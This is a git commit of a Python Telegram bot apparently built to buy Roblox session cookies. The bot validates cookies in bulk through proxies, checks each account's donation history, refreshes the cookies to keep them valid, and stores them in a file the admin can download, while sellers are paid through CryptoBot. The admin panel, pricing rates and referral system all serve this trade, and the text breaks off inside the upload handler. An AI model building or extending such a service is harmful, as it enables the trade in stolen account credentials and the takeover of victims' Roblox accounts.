Add modular Roblox buyer bot and documentation

This commit is contained in:
2026-07-20 06:24:45 +05:00
commit c9413efd6a
29 changed files with 2607 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
# Обязательные поля
BOT_TOKEN=
ADMIN_ID=
CRYPTO_PAY_TOKEN=
# Бот для логгинга (логи будут в этом боте, можно указать один и тот же бот на главный и логгинга)
LOG_BOT_TOKEN=
# Данные шопа
SHOP_NAME=KILL UNONY MOM
SHOP_CHANNEL=https://t.me/username
BOT_USERNAME=username
# Директории и файлы
DATABASE_DIR=Users
COOKIE_FILES_DIR=Cookies
BOT_CONFIG_FILE=bot_config.json
BOT_STATS_FILE=bot_stats.json
PROXIES_FILE=proxies.txt
ROBSEC_FILE=robsec.txt
# Настройки Roblox чекера
MAX_RETRIES=5
CONCURRENT_CHECKS=50
REQUEST_TIMEOUT=10
FRESHER_BATCH_SIZE=10
# Значения по умолчанию
BOT_ENABLED_DEFAULT=true
SHOP_ENABLED_DEFAULT=true
MIN_WITHDRAW_DEFAULT=100.0
+199
View File
@@ -0,0 +1,199 @@
# ---> VirtualEnv
# Virtualenv
# http://iamzed.com/2009/05/07/a-primer-on-virtualenv/
.Python
[Bb]in
[Ii]nclude
[Ll]ib
[Ll]ib64
[Ll]ocal
[Ss]cripts
pyvenv.cfg
.venv
pip-selfcheck.json
# ---> Python
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# UV
# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
#uv.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
.pdm.toml
.pdm-python
.pdm-build/
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
# Ruff stuff:
.ruff_cache/
# PyPI configuration file
.pypirc
# Local bot runtime data
bot.log
bot_config.json
bot_stats.json
proxies.txt
robsec.txt
Users/
filesforcookie/
+18
View File
@@ -0,0 +1,18 @@
MIT License
Copyright (c) 2026 Lolz
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial
portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
+109
View File
@@ -0,0 +1,109 @@
# Roblox-Buyer
Telegram bot for validating Roblox cookies, checking donation history, refreshing payable cookies, and crediting sellers through CryptoBot checks.
## Features
- Cookie intake from plain text or `.txt` files.
- Concurrent Roblox cookie validation with optional proxies.
- Lifetime and yearly donation rate matching.
- AVG pricing for large batches of donation cookies.
- Cookie refresh before storage and payout.
- User balances, withdrawals, referrals, statistics, and bans.
- Admin controls for rates, shop/bot toggles, broadcasts, treasury, and user management.
## Requirements
- Python 3.10 or newer.
- Telegram bot token.
- CryptoBot API token for withdrawals and treasury top-ups.
- An administrator Telegram user ID.
Install the runtime dependencies in a virtual environment:
```powershell
python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install aiogram aiohttp requests curl-cffi
```
On Linux or macOS, use `source .venv/bin/activate` instead of the PowerShell activation command.
## Configuration
Copy [.env.example](.env.example) and set at least:
```text
BOT_TOKEN=your_telegram_bot_token
ADMIN_ID=your_telegram_user_id
CRYPTO_PAY_TOKEN=your_cryptobot_api_token
```
The application reads environment variables through `config.py`. It does not load `.env` files automatically, so provide the variables through your shell, process manager, container, or another environment loader.
For PowerShell:
```powershell
$env:BOT_TOKEN = "your_telegram_bot_token"
$env:ADMIN_ID = "123456789"
$env:CRYPTO_PAY_TOKEN = "your_cryptobot_api_token"
python main.py
```
The default local paths are:
- `Users/` for user records.
- `filesforcookie/` for temporary cookie files.
- `bot_config.json` for rates, treasury, and feature toggles.
- `bot_stats.json` for aggregate statistics.
- `proxies.txt` for optional proxy entries.
- `robsec.txt` for refreshed cookies retained by the bot.
These runtime files are ignored by Git. Do not commit bot tokens, CryptoBot tokens, Roblox cookies, user records, or proxy credentials.
## Running
Start polling with:
```powershell
python main.py
```
Users can start with `/start`, send cookie text, or upload a `.txt` file. Administrators can open `/admin` to manage the shop.
## Project Structure
```text
main.py Bot bootstrap and polling
config.py Environment settings and defaults
db/storage.py Config, stats, and proxy persistence
db/users.py User record persistence
models/ Typed data models
services/roblox.py Roblox validation, donation lookup, refresh
services/pricing.py Rate matching and payout calculations
services/withdrawals.py CryptoBot checks and treasury invoices
services/referrals.py Referral payouts
services/admin.py Admin operations
handlers/ Telegram commands, callbacks, and FSM flows
keyboards/ Inline keyboard builders
states/admin.py Admin FSM states
utils/ Parsing, logging, and shared helpers
```
## Security Notes
Roblox cookies are credentials. Treat `robsec.txt`, uploaded files, and the `Users/` directory as sensitive data. Restrict filesystem access, keep backups encrypted, and remove data that is no longer needed.
The CryptoBot integration currently uses the testnet API endpoints in `services/withdrawals.py`. Review and change those endpoints deliberately before handling production funds.
## Verification
Run a syntax check with:
```powershell
python -m compileall -q .
```
## License
MIT. See [LICENSE](LICENSE).
+75
View File
@@ -0,0 +1,75 @@
import os
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path
from models.config import BotConfig
from models.stats import BotStats
BASE_DIR = Path(__file__).resolve().parent
def _resolve_path(value: str, default: str) -> Path:
path = Path(os.getenv(value, default))
if path.is_absolute():
return path
return BASE_DIR / path
def _env_int(name: str, default: int) -> int:
raw = os.getenv(name)
if raw is None or raw == "":
return default
return int(raw)
def _env_float(name: str, default: float) -> float:
raw = os.getenv(name)
if raw is None or raw == "":
return default
return float(raw)
def _env_bool(name: str, default: bool) -> bool:
raw = os.getenv(name)
if raw is None or raw == "":
return default
return raw.strip().lower() in {"1", "true", "yes", "on"}
BOT_TOKEN = os.getenv("BOT_TOKEN", "")
LOG_BOT_TOKEN = os.getenv("LOG_BOT_TOKEN", "") or None
ADMIN_ID = _env_int("ADMIN_ID", 0)
CRYPTO_PAY_TOKEN = os.getenv("CRYPTO_PAY_TOKEN", "")
SHOP_NAME = os.getenv("SHOP_NAME", "KILL UNONY MOM")
SHOP_CHANNEL = os.getenv("SHOP_CHANNEL", "https://t.me/bot399_start_bot")
BOT_USERNAME = os.getenv("BOT_USERNAME", "bot399_start_bot")
DATABASE_DIR = _resolve_path("DATABASE_DIR", "Users")
COOKIE_FILES_DIR = _resolve_path("COOKIE_FILES_DIR", "filesforcookie")
CONFIG_FILE = _resolve_path("BOT_CONFIG_FILE", "bot_config.json")
STATS_FILE = _resolve_path("BOT_STATS_FILE", "bot_stats.json")
PROXIES_FILE = _resolve_path("PROXIES_FILE", "proxies.txt")
ROBSEC_FILE = _resolve_path("ROBSEC_FILE", "robsec.txt")
MAX_RETRIES = _env_int("MAX_RETRIES", 5)
CONCURRENT_CHECKS = _env_int("CONCURRENT_CHECKS", 50)
REQUEST_TIMEOUT = _env_int("REQUEST_TIMEOUT", 10)
FRESHER_BATCH_SIZE = _env_int("FRESHER_BATCH_SIZE", 10)
DATABASE_DIR.mkdir(parents=True, exist_ok=True)
COOKIE_FILES_DIR.mkdir(parents=True, exist_ok=True)
FRESHER_POOL = ThreadPoolExecutor(max_workers=64, thread_name_prefix="fresher")
DEFAULT_CONFIG = BotConfig.default()
DEFAULT_STATS = BotStats.default()
BOT_ENABLED_DEFAULT = _env_bool("BOT_ENABLED_DEFAULT", True)
SHOP_ENABLED_DEFAULT = _env_bool("SHOP_ENABLED_DEFAULT", True)
MIN_WITHDRAW_DEFAULT = _env_float("MIN_WITHDRAW_DEFAULT", 100.0)
# Apply deployment defaults before the first config file is created.
DEFAULT_CONFIG.bot_enabled = BOT_ENABLED_DEFAULT
DEFAULT_CONFIG.shop_enabled = SHOP_ENABLED_DEFAULT
DEFAULT_CONFIG.min_withdraw = MIN_WITHDRAW_DEFAULT
+62
View File
@@ -0,0 +1,62 @@
import json
from pathlib import Path
from typing import Any
from config import CONFIG_FILE, DEFAULT_CONFIG, DEFAULT_STATS, PROXIES_FILE, STATS_FILE
from models.config import BotConfig
from models.stats import BotStats
def _load_json(path: Path) -> dict[str, Any] | None:
if not path.exists():
return None
try:
with path.open("r", encoding="utf-8") as fh:
return json.load(fh)
except Exception:
return None
def _save_json(path: Path, data: dict[str, Any]) -> None:
with path.open("w", encoding="utf-8") as fh:
json.dump(data, fh, indent=4, ensure_ascii=False)
def load_config() -> BotConfig:
data = _load_json(CONFIG_FILE)
if data is None:
config = DEFAULT_CONFIG
save_config(config)
return config
defaults = DEFAULT_CONFIG.to_dict()
defaults.update(data)
default_rates = defaults["rates"]
default_rates.update(data.get("rates") or {})
defaults["rates"] = default_rates
return BotConfig.from_dict(defaults)
def save_config(cfg: BotConfig | dict[str, Any]) -> None:
config = cfg if isinstance(cfg, BotConfig) else BotConfig.from_dict(cfg)
_save_json(CONFIG_FILE, config.to_dict())
def load_stats() -> BotStats:
data = _load_json(STATS_FILE)
if data is None:
stats = DEFAULT_STATS
save_stats(stats)
return stats
return BotStats.from_dict(data)
def save_stats(stats: BotStats | dict[str, Any]) -> None:
model = stats if isinstance(stats, BotStats) else BotStats.from_dict(stats)
_save_json(STATS_FILE, model.to_dict())
def load_proxies() -> list[str]:
if not PROXIES_FILE.exists():
return []
with PROXIES_FILE.open("r", encoding="utf-8", errors="ignore") as fh:
return [line.strip() for line in fh if line.strip()]
+80
View File
@@ -0,0 +1,80 @@
import json
from datetime import datetime
from pathlib import Path
from config import ADMIN_ID, DATABASE_DIR
from db.storage import load_stats, save_stats
from models.user import UserProfile
def _user_dir(user_id: int) -> Path:
return DATABASE_DIR / str(user_id)
def path(user_id: int) -> Path:
return _user_dir(user_id) / "config.json"
def register(user_id: int, username: str | None = None, referrer: int | None = None) -> bool:
user_path = path(user_id)
is_new = False
if not user_path.parent.exists():
user_path.parent.mkdir(parents=True, exist_ok=True)
profile = UserProfile.default(
user_id=user_id,
username=username,
registered=datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
referrer=referrer if referrer and referrer != user_id else None,
is_admin=(user_id == ADMIN_ID),
)
save(user_id, profile)
is_new = True
stats = load_stats()
stats.total_users += 1
save_stats(stats)
if referrer and referrer != user_id:
ref_profile = get(referrer)
if ref_profile and user_id not in ref_profile.referrals:
ref_profile.referrals.append(user_id)
save(referrer, ref_profile)
elif username:
profile = get(user_id)
if profile and profile.username != username:
profile.username = username
save(user_id, profile)
return is_new
def get(user_id: int) -> UserProfile | None:
user_path = path(user_id)
if not user_path.exists():
return None
with user_path.open("r", encoding="utf-8") as fh:
return UserProfile.from_dict(json.load(fh))
def save(user_id: int, data: UserProfile | dict) -> None:
profile = data if isinstance(data, UserProfile) else UserProfile.from_dict(data)
user_path = path(user_id)
user_path.parent.mkdir(parents=True, exist_ok=True)
with user_path.open("w", encoding="utf-8") as fh:
json.dump(profile.to_dict(), fh, indent=4, ensure_ascii=False)
def all_users() -> list[int]:
if not DATABASE_DIR.exists():
return []
return [int(item.name) for item in DATABASE_DIR.iterdir() if item.is_dir() and item.name.isdigit()]
def find_by_username(username: str) -> int | None:
username = username.lstrip("@").lower()
for uid in all_users():
profile = get(uid)
if profile and (profile.username or "").lower() == username:
return uid
return None
+459
View File
@@ -0,0 +1,459 @@
from __future__ import annotations
from aiogram import F, Router
from aiogram.filters import Command
from aiogram.fsm.context import FSMContext
from aiogram.types import (
CallbackQuery,
FSInputFile,
InlineKeyboardButton,
InlineKeyboardMarkup,
Message,
)
from config import ADMIN_ID, ROBSEC_FILE
from db.storage import load_config
from db.users import get
from keyboards.admin import admin_menu_kb
from keyboards.user import back_kb
from services.admin import (
add_balance,
add_treasury,
ban_user,
broadcast,
clear_robsec,
find_user,
is_admin,
robsec_info,
sub_balance,
toggle_bot,
toggle_shop,
toggle_user_admin,
update_min_withdraw,
update_rate,
)
from services.withdrawals import check_treasury_invoice, create_treasury_invoice
from states.admin import Form
from runtime import get_bot
from utils.logging import safe_edit
router = Router(name="admin")
def _admin(user_id: int) -> bool:
return user_id == ADMIN_ID or is_admin(user_id)
def _user_card(uid: int) -> tuple[str, InlineKeyboardMarkup] | None:
profile = get(uid)
if not profile:
return None
text = (
"<b>User</b>\n\n"
f"ID: <code>{uid}</code>\n"
f"Username: @{profile.username or '-'}\n"
f"Registered: {profile.registered or '-'}\n"
f"Balance: {profile.balance:.2f} RUB\n"
f"Total earned: {profile.total_earned:.2f} RUB\n"
f"Cookies: {profile.cookies_loaded}\n"
f"Referrals: {len(profile.referrals)}\n"
f"Admin: {'yes' if profile.is_admin else 'no'}\n"
f"Banned: {'yes: ' + profile.ban_reason if profile.is_banned else 'no'}"
)
keyboard = InlineKeyboardMarkup(
inline_keyboard=[
[
InlineKeyboardButton(text="Add balance", callback_data=f"u_bal_add_{uid}"),
InlineKeyboardButton(text="Subtract balance", callback_data=f"u_bal_sub_{uid}"),
],
[InlineKeyboardButton(
text="Unban" if profile.is_banned else "Ban",
callback_data=f"u_ban_{uid}",
)],
[InlineKeyboardButton(
text="Remove admin" if profile.is_admin else "Grant admin",
callback_data=f"u_admin_{uid}",
)],
[InlineKeyboardButton(text="Back", callback_data="admin_back")],
]
)
return text, keyboard
@router.message(Command("admin"))
async def cmd_admin(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
await state.clear()
await message.answer("<b>Admin panel</b>", parse_mode="HTML", reply_markup=admin_menu_kb())
@router.callback_query(F.data == "admin_close")
async def admin_close(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
await state.clear()
try:
await callback.message.delete()
except Exception:
pass
await callback.answer()
@router.callback_query(F.data == "admin_back")
async def admin_back(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
await state.clear()
await safe_edit(callback, "<b>Admin panel</b>", reply_markup=admin_menu_kb())
await callback.answer()
@router.callback_query(F.data == "admin_toggle_shop")
async def admin_toggle_shop(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
enabled = toggle_shop()
await callback.message.edit_reply_markup(reply_markup=admin_menu_kb())
await callback.answer(f"Shop: {'ON' if enabled else 'OFF'}")
@router.callback_query(F.data == "admin_toggle_bot")
async def admin_toggle_bot(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
enabled = toggle_bot()
await callback.message.edit_reply_markup(reply_markup=admin_menu_kb())
await callback.answer(f"Bot: {'ON' if enabled else 'OFF'}")
@router.callback_query(F.data == "admin_robsec_get")
async def admin_robsec_get(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
lines, size = robsec_info()
if not size:
await callback.answer("robsec.txt is empty", show_alert=True)
return
try:
bot = get_bot() or callback.message.bot
await bot.send_document(
callback.from_user.id,
FSInputFile(ROBSEC_FILE),
caption=f"robsec.txt\nLines: {lines}\nSize: {size} bytes",
)
await callback.answer("Sent")
except Exception as exc:
await callback.answer(f"Error: {exc}", show_alert=True)
@router.callback_query(F.data == "admin_robsec_clear")
async def admin_robsec_clear_prompt(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
lines, _ = robsec_info()
keyboard = InlineKeyboardMarkup(
inline_keyboard=[
[InlineKeyboardButton(text="Yes, clear", callback_data="admin_robsec_clear_yes")],
[InlineKeyboardButton(text="Cancel", callback_data="admin_back")],
]
)
await safe_edit(callback, f"Clear robsec.txt? Current lines: <b>{lines}</b>", reply_markup=keyboard)
@router.callback_query(F.data == "admin_robsec_clear_yes")
async def admin_robsec_clear_yes(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
clear_robsec()
await safe_edit(callback, "<b>robsec.txt cleared</b>", reply_markup=admin_menu_kb())
await callback.answer("Cleared")
@router.callback_query(F.data == "admin_rates")
async def admin_rates(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
cfg = load_config()
rows = [
[InlineKeyboardButton(text=f"{rate.name}: {rate.price:.2f} RUB", callback_data=f"admin_rate_{key}")]
for key, rate in cfg.rates.items()
]
rows.append([InlineKeyboardButton(text="Back", callback_data="admin_back")])
await safe_edit(
callback,
"<b>Rate management</b>\nSelect a rate:",
reply_markup=InlineKeyboardMarkup(inline_keyboard=rows),
)
await callback.answer()
@router.callback_query(F.data.startswith("admin_rate_"))
async def admin_rate_select(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
key = callback.data.removeprefix("admin_rate_")
cfg = load_config()
rate = cfg.rates.get(key)
if not rate:
await callback.answer("Rate not found", show_alert=True)
return
await state.update_data(rate_key=key)
await state.set_state(Form.admin_edit_rate)
await safe_edit(
callback,
f"Rate: <b>{rate.name}</b>\nCurrent price: {rate.price:.2f} RUB\n\nSend a new price:",
reply_markup=back_kb("admin_back"),
)
@router.message(Form.admin_edit_rate)
async def admin_edit_rate_save(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
try:
price = float((message.text or "").replace(",", "."))
if price < 0:
raise ValueError
except ValueError:
await message.answer("Send a non-negative number.")
return
data = await state.get_data()
key = data.get("rate_key")
cfg = load_config()
if key not in cfg.rates:
await state.clear()
return
update_rate(key, price)
await state.clear()
await message.answer(f"Rate updated: {cfg.rates[key].name} = {price:.2f} RUB", reply_markup=admin_menu_kb())
@router.callback_query(F.data == "admin_min_withdraw")
async def admin_min_withdraw(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
await state.set_state(Form.admin_min_withdraw)
await safe_edit(
callback,
f"Current minimum withdrawal: {load_config().min_withdraw:.2f} RUB\nSend a new value:",
reply_markup=back_kb("admin_back"),
)
@router.message(Form.admin_min_withdraw)
async def admin_min_withdraw_save(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
try:
value = float((message.text or "").replace(",", "."))
if value <= 0:
raise ValueError
except ValueError:
await message.answer("Send a positive number.")
return
update_min_withdraw(value)
await state.clear()
await message.answer(f"Minimum withdrawal updated to {value:.2f} RUB", reply_markup=admin_menu_kb())
@router.callback_query(F.data == "admin_treasury")
async def admin_treasury(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
await state.set_state(Form.admin_treasury_amount)
await safe_edit(callback, "How much RUB should be added to the treasury?", reply_markup=back_kb("admin_back"))
@router.message(Form.admin_treasury_amount)
async def admin_treasury_amount(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
try:
amount = float((message.text or "").replace(",", "."))
if amount <= 0:
raise ValueError
except ValueError:
await message.answer("Send a positive number.")
return
await state.clear()
invoice = await create_treasury_invoice(amount)
if not invoice:
await message.answer("CryptoBot invoice creation failed.", reply_markup=admin_menu_kb())
return
pay_url, invoice_id, amount_usdt = invoice
keyboard = InlineKeyboardMarkup(
inline_keyboard=[
[InlineKeyboardButton(text="Pay", url=pay_url)],
[InlineKeyboardButton(text="Check payment", callback_data=f"treasury_check_{invoice_id}_{amount}")],
]
)
await message.answer(
f"Treasury invoice: <b>{amount:.2f} RUB</b> (~{amount_usdt} USDT)\nPay it and check the status.",
parse_mode="HTML",
reply_markup=keyboard,
)
@router.callback_query(F.data.startswith("treasury_check_"))
async def treasury_check(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
_, _, invoice_id, amount = callback.data.split("_", 3)
try:
paid = await check_treasury_invoice(int(invoice_id))
amount_rub = float(amount)
except (ValueError, TypeError):
paid = False
amount_rub = 0.0
if not paid:
await callback.answer("Payment has not arrived yet", show_alert=True)
return
balance = add_treasury(amount_rub)
await safe_edit(callback, f"Treasury topped up by {amount_rub:.2f} RUB. Total: {balance:.2f} RUB", reply_markup=admin_menu_kb())
await callback.answer("Paid")
@router.callback_query(F.data == "admin_broadcast")
async def admin_broadcast_prompt(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
await state.set_state(Form.admin_broadcast)
await safe_edit(callback, "Send the broadcast text or a photo with caption.", reply_markup=back_kb("admin_back"))
@router.message(Form.admin_broadcast)
async def admin_broadcast_send(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
await state.clear()
sent, failed = await broadcast(
message.bot,
text=message.text,
photo_id=message.photo[-1].file_id if message.photo else None,
caption=message.caption,
)
await message.answer(f"Broadcast complete. Sent: {sent}, failed: {failed}.", reply_markup=admin_menu_kb())
@router.callback_query(F.data == "admin_users")
async def admin_users(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
await state.set_state(Form.admin_find_user)
await safe_edit(callback, "Send a user ID or @username.", reply_markup=back_kb("admin_back"))
@router.message(Form.admin_find_user)
async def admin_find_user(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
uid = find_user((message.text or "").strip())
await state.clear()
if uid is None:
await message.answer("User not found.", reply_markup=admin_menu_kb())
return
card = _user_card(uid)
if card:
await message.answer(card[0], parse_mode="HTML", reply_markup=card[1])
@router.callback_query(F.data.startswith("u_bal_add_"))
async def u_bal_add(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
uid = int(callback.data.removeprefix("u_bal_add_"))
await state.update_data(target_uid=uid)
await state.set_state(Form.admin_user_balance_add)
await safe_edit(callback, "Send the amount to add:", reply_markup=back_kb("admin_back"))
@router.message(Form.admin_user_balance_add)
async def u_bal_add_save(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
try:
amount = float((message.text or "").replace(",", "."))
if amount <= 0:
raise ValueError
except ValueError:
await message.answer("Send a positive number.")
return
uid = (await state.get_data()).get("target_uid")
add_balance(uid, amount)
await state.clear()
await message.answer(f"Added {amount:.2f} RUB to {uid}.", reply_markup=admin_menu_kb())
@router.callback_query(F.data.startswith("u_bal_sub_"))
async def u_bal_sub(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
uid = int(callback.data.removeprefix("u_bal_sub_"))
await state.update_data(target_uid=uid)
await state.set_state(Form.admin_user_balance_sub)
await safe_edit(callback, "Send the amount to subtract:", reply_markup=back_kb("admin_back"))
@router.message(Form.admin_user_balance_sub)
async def u_bal_sub_save(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
try:
amount = float((message.text or "").replace(",", "."))
if amount <= 0:
raise ValueError
except ValueError:
await message.answer("Send a positive number.")
return
uid = (await state.get_data()).get("target_uid")
sub_balance(uid, amount)
await state.clear()
await message.answer(f"Subtracted {amount:.2f} RUB from {uid}.", reply_markup=admin_menu_kb())
@router.callback_query(F.data.startswith("u_ban_"))
async def u_ban(callback: CallbackQuery, state: FSMContext):
if not _admin(callback.from_user.id):
return
uid = int(callback.data.removeprefix("u_ban_"))
profile = get(uid)
if not profile:
return
if profile.is_banned:
from services.admin import unban_user
unban_user(uid)
await callback.answer("Unbanned")
else:
await state.update_data(target_uid=uid)
await state.set_state(Form.admin_user_ban_reason)
await safe_edit(callback, "Send the ban reason:", reply_markup=back_kb("admin_back"))
return
card = _user_card(uid)
if card:
await safe_edit(callback, card[0], reply_markup=card[1])
@router.message(Form.admin_user_ban_reason)
async def u_ban_reason(message: Message, state: FSMContext):
if not _admin(message.from_user.id):
return
uid = (await state.get_data()).get("target_uid")
ban_user(uid, (message.text or "No reason").strip())
await state.clear()
card = _user_card(uid)
if card:
await message.answer(card[0], parse_mode="HTML", reply_markup=card[1])
@router.callback_query(F.data.startswith("u_admin_"))
async def u_admin(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
uid = int(callback.data.removeprefix("u_admin_"))
enabled = toggle_user_admin(uid)
await callback.answer(f"Admin: {'ON' if enabled else 'OFF'}")
card = _user_card(uid)
if card:
await safe_edit(callback, card[0], reply_markup=card[1])
+95
View File
@@ -0,0 +1,95 @@
from aiogram import F, Router
from aiogram.filters import CommandStart
from aiogram.fsm.context import FSMContext
from aiogram.types import CallbackQuery, Message
from config import ADMIN_ID, BOT_USERNAME, SHOP_NAME
from db.storage import load_config
from db.users import get, register
from keyboards.user import main_menu_kb
from services.admin import is_admin
from runtime import get_bot, get_log_bot
from utils.logging import log_admin
router = Router(name="start")
def _welcome_text(cfg) -> str:
text = (
f"Welcome to <b>{SHOP_NAME}</b>!\n\n"
"You can sell cookies at these rates:\n"
)
for rate in cfg.rates.values():
text += f"- {rate.name}: {rate.price:.2f} RUB\n"
return text + (
f"\nAVG pricing applies to {cfg.avg_min_cookies}+ cookies with donations.\n"
f"The AVG price is capped at {cfg.avg_min_price:.2f}-{cfg.avg_max_price:.2f} RUB per cookie.\n\n"
"Send a .txt file or paste your cookie text."
)
async def _show_start(
message: Message,
state: FSMContext,
user_id: int,
username: str | None,
referrer: int | None = None,
) -> None:
await state.clear()
is_new = register(user_id, username, referrer)
profile = get(user_id)
cfg = load_config()
if profile and profile.is_banned:
await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}")
return
if not cfg.bot_enabled and user_id != ADMIN_ID:
await message.answer("The bot is temporarily disabled by an administrator.")
return
if is_new:
bot = get_bot() or message.bot
await log_admin(
bot,
ADMIN_ID,
f"<b>New user</b>\nID: <code>{user_id}</code>\n"
f"@{username or '-'}\nReferrer: {referrer or '-'}",
get_log_bot(),
)
text = _welcome_text(cfg)
if is_admin(user_id):
text += "\n\n<b>Admin accounts cannot sell cookies. Use /admin.</b>"
await message.answer(text, parse_mode="HTML", reply_markup=main_menu_kb())
@router.message(CommandStart())
async def cmd_start(message: Message, state: FSMContext):
argument = (message.text or "").split(maxsplit=1)
referrer = None
if len(argument) > 1 and argument[1].startswith("ref_"):
try:
referrer = int(argument[1][4:])
except ValueError:
referrer = None
await _show_start(
message,
state,
message.from_user.id,
message.from_user.username,
referrer,
)
@router.callback_query(F.data == "back_main")
async def cb_back_main(callback: CallbackQuery, state: FSMContext):
await state.clear()
try:
await callback.message.delete()
except Exception:
pass
await _show_start(
callback.message,
state,
callback.from_user.id,
callback.from_user.username,
)
await callback.answer()
+233
View File
@@ -0,0 +1,233 @@
from __future__ import annotations
import asyncio
import random
import aiohttp
from aiogram import F, Router
from aiogram.filters import StateFilter
from aiogram.fsm.context import FSMContext
from aiogram.types import Message
from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE
from db.storage import load_config, load_proxies, load_stats, save_stats
from db.users import get, register, save
from keyboards.user import back_kb, main_menu_kb
from models.pricing import CookieDonationInfo
from runtime import get_bot, get_log_bot
from services.admin import is_admin
from services.pricing import price_cookie_batch
from services.referrals import apply_referral_payout
from services.roblox import (
check_cookie_with_retry,
fresh_cookie_async,
get_all_time_donate,
get_year_donate,
)
from utils.logging import log_admin, log_admin_document
from utils.parsing import parse_cookies_text
router = Router(name="upload")
async def _blocked(message: Message) -> bool:
profile = get(message.from_user.id)
if profile is None:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
if profile.is_banned:
await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}")
return True
cfg = load_config()
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
